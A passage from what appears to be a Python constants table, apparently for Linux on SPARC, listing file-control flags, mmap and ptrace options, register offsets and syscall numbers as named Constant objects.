Constant('O_APPEND',0x0008) FASYNC = Constant('FASYNC',0x0040) O_CREAT = Constant('O_CREAT',0x0200) O_TRUNC = Constant('O_TRUNC',0x0400) O_EXCL = Constant('O_EXCL',0x0800) O_DSYNC = Constant('O_DSYNC',0x2000) O_NONBLOCK = Constant('O_NONBLOCK',0x4000) O_NDELAY = Constant('O_NDELAY',(0x0004 | 0x4000)) O_NOCTTY = Constant('O_NOCTTY',0x8000) O_DIRECTORY = Constant('O_DIRECTORY',0x10000) O_NOFOLLOW = Constant('O_NOFOLLOW',0x20000) O_LARGEFILE = Constant('O_LARGEFILE',0x40000) O_DIRECT = Constant('O_DIRECT',0x100000) O_NOATIME = Constant('O_NOATIME',0x200000) O_CLOEXEC = Constant('O_CLOEXEC',0x400000) O_SYNC = Constant('O_SYNC',(0x800000|0x2000)) O_PATH = Constant('O_PATH',0x1000000) __O_TMPFILE = Constant('__O_TMPFILE',0x2000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETOWN = Constant('F_GETOWN',5) F_SETOWN = Constant('F_SETOWN',6) F_GETLK = Constant('F_GETLK',7) F_SETLK = Constant('F_SETLK',8) F_SETLKW = Constant('F_SETLKW',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',1) F_WRLCK = Constant('F_WRLCK',2) F_UNLCK = Constant('F_UNLCK',3) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0x2000000 | 0x10000)) O_ASYNC = Constant('O_ASYNC',0x0040) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_RENAME = Constant('MAP_RENAME',0x20) MAP_NORESERVE = Constant('MAP_NORESERVE',0x40) MAP_INHERIT = Constant('MAP_INHERIT',0x80) MAP_LOCKED = Constant('MAP_LOCKED',0x100) _MAP_NEW = Constant('_MAP_NEW',0x80000000) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MCL_CURRENT = Constant('MCL_CURRENT',0x2000) MCL_FUTURE = Constant('MCL_FUTURE',0x4000) MCL_ONFAULT = Constant('MCL_ONFAULT',0x8000) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MADV_FREE = Constant('MADV_FREE',0x5) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) UREG_G0 = Constant('UREG_G0',0) UREG_G1 = Constant('UREG_G1',1) UREG_G2 = Constant('UREG_G2',2) UREG_G3 = Constant('UREG_G3',3) UREG_G4 = Constant('UREG_G4',4) UREG_G5 = Constant('UREG_G5',5) UREG_G6 = Constant('UREG_G6',6) UREG_G7 = Constant('UREG_G7',7) UREG_I0 = Constant('UREG_I0',8) UREG_I1 = Constant('UREG_I1',9) UREG_I2 = Constant('UREG_I2',10) UREG_I3 = Constant('UREG_I3',11) UREG_I4 = Constant('UREG_I4',12) UREG_I5 = Constant('UREG_I5',13) UREG_I6 = Constant('UREG_I6',14) UREG_I7 = Constant('UREG_I7',15) UREG_WIM = Constant('UREG_WIM',0) UREG_FADDR = Constant('UREG_FADDR',0) UREG_FP = Constant('UREG_FP',14) UREG_RETPC = Constant('UREG_RETPC',15) PT_PSR = Constant('PT_PSR',0x0) PT_PC = Constant('PT_PC',0x4) PT_NPC = Constant('PT_NPC',0x8) PT_Y = Constant('PT_Y',0xc) PT_G0 = Constant('PT_G0',0x10) PT_WIM = Constant('PT_WIM',0x10) PT_G1 = Constant('PT_G1',0x14) PT_G2 = Constant('PT_G2',0x18) PT_G3 = Constant('PT_G3',0x1c) PT_G4 = Constant('PT_G4',0x20) PT_G5 = Constant('PT_G5',0x24) PT_G6 = Constant('PT_G6',0x28) PT_G7 = Constant('PT_G7',0x2c) PT_I0 = Constant('PT_I0',0x30) PT_I1 = Constant('PT_I1',0x34) PT_I2 = Constant('PT_I2',0x38) PT_I3 = Constant('PT_I3',0x3c) PT_I4 = Constant('PT_I4',0x40) PT_I5 = Constant('PT_I5',0x44) PT_I6 = Constant('PT_I6',0x48) PT_FP = Constant('PT_FP',0x48) PT_I7 = Constant('PT_I7',0x4c) RW_L0 = Constant('RW_L0',0x00) RW_L1 = Constant('RW_L1',0x04) RW_L2 = Constant('RW_L2',0x08) RW_L3 = Constant('RW_L3',0x0c) RW_L4 = Constant('RW_L4',0x10) RW_L5 = Constant('RW_L5',0x14) RW_L6 = Constant('RW_L6',0x18) RW_L7 = Constant('RW_L7',0x1c) RW_I0 = Constant('RW_I0',0x20) RW_I1 = Constant('RW_I1',0x24) RW_I2 = Constant('RW_I2',0x28) RW_I3 = Constant('RW_I3',0x2c) RW_I4 = Constant('RW_I4',0x30) RW_I5 = Constant('RW_I5',0x34) RW_I6 = Constant('RW_I6',0x38) RW_I7 = Constant('RW_I7',0x3c) SF_L0 = Constant('SF_L0',0x00) SF_L1 = Constant('SF_L1',0x04) SF_L2 = Constant('SF_L2',0x08) SF_L3 = Constant('SF_L3',0x0c) SF_L4 = Constant('SF_L4',0x10) SF_L5 = Constant('SF_L5',0x14) SF_L6 = Constant('SF_L6',0x18) SF_L7 = Constant('SF_L7',0x1c) SF_I0 = Constant('SF_I0',0x20) SF_I1 = Constant('SF_I1',0x24) SF_I2 = Constant('SF_I2',0x28) SF_I3 = Constant('SF_I3',0x2c) SF_I4 = Constant('SF_I4',0x30) SF_I5 = Constant('SF_I5',0x34) SF_FP = Constant('SF_FP',0x38) SF_PC = Constant('SF_PC',0x3c) SF_RETP = Constant('SF_RETP',0x40) SF_XARG0 = Constant('SF_XARG0',0x44) SF_XARG1 = Constant('SF_XARG1',0x48) SF_XARG2 = Constant('SF_XARG2',0x4c) SF_XARG3 = Constant('SF_XARG3',0x50) SF_XARG4 = Constant('SF_XARG4',0x54) SF_XARG5 = Constant('SF_XARG5',0x58) SF_XXARG = Constant('SF_XXARG',0x5c) PTRACE_SUNATTACH = Constant('PTRACE_SUNATTACH',10) PTRACE_SUNDETACH = Constant('PTRACE_SUNDETACH',11) PTRACE_GETREGS = Constant('PTRACE_GETREGS',12) PTRACE_SETREGS = Constant('PTRACE_SETREGS',13) PTRACE_GETFPREGS = Constant('PTRACE_GETFPREGS',14) PTRACE_SETFPREGS = Constant('PTRACE_SETFPREGS',15) PTRACE_READDATA = Constant('PTRACE_READDATA',16) PTRACE_WRITEDATA = Constant('PTRACE_WRITEDATA',17) PTRACE_READTEXT = Constant('PTRACE_READTEXT',18) PTRACE_WRITETEXT = Constant('PTRACE_WRITETEXT',19) PTRACE_GETFPAREGS = Constant('PTRACE_GETFPAREGS',20) PTRACE_SETFPAREGS = Constant('PTRACE_SETFPAREGS',21) PTRACE_GETUCODE = Constant('PTRACE_GETUCODE',29) SYS_accept = Constant('SYS_accept',99) SYS_accept4 = Constant('SYS_accept4',323) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',281) SYS_adjtimex = Constant('SYS_adjtimex',219) SYS_afs_syscall = Constant('SYS_afs_syscall',227) SYS_alarm = Constant('SYS_alarm',27) SYS_aplib = Constant('SYS_aplib',255) SYS_bdflush = Constant('SYS_bdflush',225) SYS_bind = Constant('SYS_bind',353) SYS_bpf = Constant('SYS_bpf',349) SYS_brk = Constant('SYS_brk',17) SYS_capget = Constant('SYS_capget',21) SYS_capset = Constant('SYS_capset',22) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',13) SYS_chown32 = Constant('SYS_chown32',35) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',334) SYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',405) SYS_clock_getres = Constant('SYS_clock_getres',258) SYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',406) SYS_clock_gettime = Constant('SYS_clock_gettime',257) SYS_clock_gettime64 = Constant('SYS_clock_gettime64',403) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',259) SYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',407) SYS_clock_settime = Constant('SYS_clock_settime',256) SYS_clock_settime64 = Constant('SYS_clock_settime64',404) SYS_clone = Constant('SYS_clone',217) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',98) SYS_copy_file_range = Constant('SYS_copy_file_range',357) SYS_creat = Constant('SYS_creat',8) SYS_create_module = Constant('SYS_create_module',221) SYS_delete_module = Constant('SYS_delete_module',222) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',90) SYS_dup3 = Constant('SYS_dup3',320) SYS_epoll_create = Constant('SYS_epoll_create',193) SYS_epoll_create1 = Constant('SYS_epoll_create1',319) SYS_epoll_ctl = Constant('SYS_epoll_ctl',194) SYS_epoll_pwait = Constant('SYS_epoll_pwait',309) SYS_epoll_wait = Constant('SYS_epoll_wait',195) SYS_eventfd = Constant('SYS_eventfd',313) SYS_eventfd2 = Constant('SYS_eventfd2',318) SYS_execv = Constant('SYS_execv',11) SYS_execve = Constant('SYS_execve',59) SYS_execveat = Constant('SYS_execveat',350) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',188) SYS_faccessat = Constant('SYS_faccessat',296) SYS_fadvise64 = Constant('SYS_fadvise64',209) SYS_fadvise64_64 = Constant('SYS_fadvise64_64',210) SYS_fallocate = Constant('SYS_fallocate',314) SYS_fanotify_init = Constant('SYS_fanotify_init',329) SYS_fanotify_mark = Constant('SYS_fanotify_mark',330) SYS_fchdir = Constant('SYS_fchdir',176) SYS_fchmod = Constant('SYS_fchmod',124) SYS_fchmodat = Constant('SYS_fchmodat',295) SYS_fchown = Constant('SYS_fchown',123) SYS_fchown32 = Constant('SYS_fchown32',32) SYS_fchownat = Constant('SYS_fchownat',287) SYS_fcntl = Constant('SYS_fcntl',92) SYS_fcntl64 = Constant('SYS_fcntl64',155) SYS_fdatasync = Constant('SYS_fdatasync',253) SYS_fgetxattr = Constant('SYS_fgetxattr',177) SYS_finit_module = Constant('SYS_finit_module',342) SYS_flistxattr = Constant('SYS_flistxattr',180) SYS_flock = Constant('SYS_flock',131) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',186) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',171) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',62) SYS_fstat64 = Constant('SYS_fstat64',63) SYS_fstatat64 = Constant('SYS_fstatat64',289) SYS_fstatfs = Constant('SYS_fstatfs',158) SYS_fstatfs64 = Constant('SYS_fstatfs64',235) SYS_fsync = Constant('SYS_fsync',95) SYS_ftruncate = Constant('SYS_ftruncate',130) SYS_ftruncate64 = Constant('SYS_ftruncate64',84) SYS_futex = Constant('SYS_futex',142) SYS_futex_time64 = Constant('SYS_futex_time64',422) SYS_futimesat = Constant('SYS_futimesat',288) SYS_getcpu = Constant('SYS_getcpu',308) SYS_getcwd = Constant('SYS_getcwd',119) SYS_getdents = Constant('SYS_getdents',174) SYS_getdents64 = Constant('SYS_getdents64',154) SYS_getdomainname = Constant('SYS_getdomainname',162) SYS_getegid = Constant('SYS_getegid',50) SYS_getegid32 = Constant('SYS_getegid32',70) SYS_geteuid = Constant('SYS_geteuid',49) SYS_geteuid32 = Constant('SYS_geteuid32',69) SYS_getgid = Constant('SYS_getgid',47) SYS_getgid32 = Constant('SYS_getgid32',53) SYS_getgroups = Constant('SYS_getgroups',79) SYS_getgroups32 = Constant('SYS_getgroups32',115) SYS_getitimer = Constant('SYS_getitimer',86) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',223) SYS_get_mempolicy = Constant('SYS_get_mempolicy',304) SYS_getpagesize = Constant('SYS_getpagesize',64) SYS_getpeername = Constant('SYS_getpeername',141) SYS_getpgid = Constant('SYS_getpgid',224) SYS_getpgrp = Constant('SYS_getpgrp',81) SYS_getpid = Constant('SYS_getpid',20) SYS_getppid = Constant('SYS_getppid',197) SYS_getpriority = Constant('SYS_getpriority',100) SYS_getrandom = Constant('SYS_getrandom',347) SYS_getresgid32 = Constant('SYS_getresgid32',111) SYS_getresuid32 = Constant('SYS_getresuid32',109) SYS_getrlimit = Constant('SYS_getrlimit',144) SYS_get_robust_list = Constant('SYS_get_robust_list',301) SYS_getrusage = Constant('SYS_getrusage',117) SYS_getsid = Constant('SYS_getsid',252) SYS_getsockname = Constant('SYS_getsockname',150) SYS_getsockopt = Constant('SYS_getsockopt',118) SYS_gettid = Constant('SYS_gettid',143) SYS_gettimeofday = Constant('SYS_gettimeofday',116) SYS_getuid = Constant('SYS_getuid',24) SYS_getuid32 = Constant('SYS_getuid32',44) SYS_getxattr = Constant('SYS_getxattr',172) SYS_init_module = Constant('SYS_init_module',190) SYS_inotify_init1 = Constant('SYS_inotify_init1',322) SYS_io_cancel = Constant('SYS_io_cancel',271) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',269) SYS_io_getevents = Constant('SYS_io_getevents',272) SYS_io_pgetevents = Constant('SYS_io_pgetevents',361) SYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',416) SYS_io_setup = Constant('SYS_io_setup',268) SYS_io_submit = Constant('SYS_io_submit',270) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_ipc = Constant('SYS_ipc',215) SYS_kcmp = Constant('SYS_kcmp',341) SYS_kern_features = Constant('SYS_kern_features',340) SYS_kexec_load = Constant('SYS_kexec_load',306) SYS_keyctl = Constant('SYS_keyctl',283) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',16) SYS_lchown32 = Constant('SYS_lchown32',31) SYS_lgetxattr = Constant('SYS_lgetxattr',173) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',292) SYS_listen = Constant('SYS_listen',354) SYS_listxattr = Constant('SYS_listxattr',178) SYS_llistxattr = Constant('SYS_llistxattr',179) SYS__llseek = Constant('SYS__llseek',236) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',208) SYS_lremovexattr = Constant('SYS_lremovexattr',182) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',170) SYS_lstat = Constant('SYS_lstat',40) SYS_lstat64 = Constant('SYS_lstat64',132) SYS_madvise = Constant('SYS_madvise',75) SYS_mbind = Constant('SYS_mbind',303) SYS_membarrier = Constant('SYS_membarrier',351) SYS_memfd_create = Constant('SYS_memfd_create',348) SYS_migrate_pages = Constant('SYS_migrate_pages',302) SYS_mincore = Constant('SYS_mincore',78) SYS_mkdir = Constant('SYS_mkdir',136) SYS_mkdirat = Constant('SYS_mkdirat',285) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',286) SYS_mlock = Constant('SYS_mlock',237) SYS_mlock2 = Constant('SYS_mlock2',356) SYS_mlockall = Constant('SYS_mlockall',239) SYS_mmap = Constant('SYS_mmap',71) SYS_mmap2 = Constant('SYS_mmap2',56) SYS_mount = Constant('SYS_mount',167) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',307) SYS_mprotect = Constant('SYS_mprotect',74) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',278) SYS_mq_notify = Constant('SYS_mq_notify',277) SYS_mq_open = Constant('SYS_mq_open',273) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',276) SYS_mq_timedreceive_time64 = Constant('SYS_mq_timedreceive_time64',419) SYS_mq_timedsend = Constant('SYS_mq_timedsend',275) SYS_mq_timedsend_time64 = Constant('SYS_mq_timedsend_time64',418) SYS_mq_unlink = Constant('SYS_mq_unlink',274) SYS_mremap = Constant('SYS_mremap',250) SYS_msgctl = Constant('SYS_msgctl',402) SYS_msgget = Constant('SYS_msgget',399) SYS_msgrcv = Constant('SYS_msgrcv',401) SYS_msgsnd = Constant('SYS_msgsnd',400) SYS_msync = Constant('SYS_msync',65) SYS_munlock = Constant('SYS_munlock',238) SYS_munlockall = Constant('SYS_munlockall',240) SYS_munmap = Constant('SYS_munmap',73) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',332) SYS_nanosleep = Constant('SYS_nanosleep',249) SYS__newselect = Constant('SYS__newselect',230) SYS_nfsservctl = Constant('SYS_nfsservctl',254) SYS_nice = Constant('SYS_nice',34) SYS_oldlstat = Constant('SYS_oldlstat',202) SYS_open = Constant('SYS_open',5) SYS_openat = Constant('SYS_openat',284) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',333) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',29) SYS_pciconfig_read = Constant('SYS_pciconfig_read',148) SYS_pciconfig_write = Constant('SYS_pciconfig_write',149) SYS_perfctr = Constant('SYS_perfctr',18) SYS_perf_event_open = Constant('SYS_perf_event_open',327) SYS_personality = Constant('SYS_personality',191) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',42) SYS_pipe2 = Constant('SYS_pipe2',321) SYS_pivot_root = Constant('SYS_pivot_root',146) SYS_pkey_alloc = Constant('SYS_pkey_alloc',363) SYS_pkey_free = Constant('SYS_pkey_free',364) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',362) SYS_poll = Constant('SYS_poll',153) SYS_ppoll = Constant('SYS_ppoll',298) SYS_ppoll_time64 = Constant('SYS_ppoll_time64',414) SYS_prctl = Constant('SYS_prctl',147) SYS_pread = Constant('SYS_pread',67) SYS_preadv = Constant('SYS_preadv',324) SYS_preadv2 = Constant('SYS_preadv2',358) SYS_prlimit64 = Constant('SYS_prlimit64',331) SYS_process_vm_readv = Constant('SYS_process_vm_readv',338) SYS_process_vm_writev = Constant('SYS_process_vm_writev',339) SYS_pselect6 = Constant('SYS_pselect6',297) SYS_pselect6_time64 = Constant('SYS_pselect6_time64',413) SYS_ptrace = Constant('SYS_ptrace',26) SYS_pwrite = Constant('SYS_pwrite',68) SYS_pwritev = Constant('SYS_pwritev',325) SYS_pwritev2 = Constant('SYS_pwritev2',359) SYS_query_module = Constant('SYS_query_module',184) SYS_quotactl = Constant('SYS_quotactl',165) SYS_read = Constant('SYS_read',3) SYS_readahead = Constant('SYS_readahead',205) SYS_readdir = Constant('SYS_readdir',204) SYS_readlink = Constant('SYS_readlink',58) SYS_readlinkat = Constant('SYS_readlinkat',294) SYS_readv = Constant('SYS_readv',120) SYS_reboot = Constant('SYS_reboot',55) SYS_recvfrom = Constant('SYS_recvfrom',125) SYS_recvmmsg = Constant('SYS_recvmmsg',328) SYS_recvmmsg_time64 = Constant('SYS_recvmmsg_time64',417) SYS_recvmsg = Constant('SYS_recvmsg',113) SYS_remap_file_pages = Constant('SYS_remap_file_pages',192) SYS_removexattr = Constant('SYS_removexattr',181) SYS_rename = Constant('SYS_rename',128) SYS_renameat = Constant('SYS_renameat',291) SYS_renameat2 = Constant('SYS_renameat2',345) SYS_request_key = Constant('SYS_request_key',282) SYS_rmdir = Constant('SYS_rmdir',137) SYS_rseq = Constant('SYS_rseq',365) SYS_rt_sigaction = Constant('SYS_rt_sigaction',102) SYS_rt_sigpending = Constant('SYS_rt_sigpending',104) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',103) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',106) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',101) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',107) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',105) SYS_rt_sigtimedwait_time64 = Constant('SYS_rt_sigtimedwait_time64',421) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',326) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',260) SYS_sched_getattr = Constant('SYS_sched_getattr',344) SYS_sched_getparam = Constant('SYS_sched_getparam',242) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',246) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',247) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',244) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',248) SYS_sched_rr_get_interval_time64 = Constant('SYS_sched_rr_get_interval_time64',423) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',261) SYS_sched_setattr = Constant('SYS_sched_setattr',343) SYS_sched_setparam = Constant('SYS_sched_setparam',241) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',243) SYS_sched_yield = Constant('SYS_sched_yield',245) SYS_seccomp = Constant('SYS_seccomp',346) SYS_select = Constant('SYS_select',93) SYS_semctl = Constant('SYS_semctl',394) SYS_semget = Constant('SYS_semget',393) SYS_semtimedop_time64 = Constant('SYS_semtimedop_time64',420) SYS_sendfile = Constant('SYS_sendfile',39) SYS_sendfile64 = Constant('SYS_sendfile64',140) SYS_sendmmsg = Constant('SYS_sendmmsg',336) SYS_sendmsg = Constant('SYS_sendmsg',114) SYS_sendto = Constant('SYS_sendto',133) SYS_setdomainname = Constant('SYS_setdomainname',163) SYS_setfsgid = Constant('SYS_setfsgid',229) SYS_setfsgid32 = Constant('SYS_setfsgid32',94) SYS_setfsuid = Constant('SYS_setfsuid',228) SYS_setfsuid32 = Constant('SYS_setfsuid32',91) SYS_setgid = Constant('SYS_setgid',46) SYS_setgid32 = Constant('SYS_setgid32',89) SYS_setgroups = Constant('SYS_setgroups',80) SYS_setgroups32 = Constant('SYS_setgroups32',82) SYS_sethostname = Constant('SYS_sethostname',88) SYS_setitimer = Constant('SYS_setitimer',83) SYS_set_mempolicy = Constant('SYS_set_mempolicy',305) SYS_setns = Constant('SYS_setns',337) SYS_setpgid = Constant('SYS_setpgid',185) SYS_setpriority = Constant('SYS_setpriority',96) SYS_setregid = Constant('SYS_setregid',127) SYS_setregid32 = Constant('SYS_setregid32',112) SYS_setresgid32 = Constant('SYS_setresgid32',110) SYS_setresuid32 = 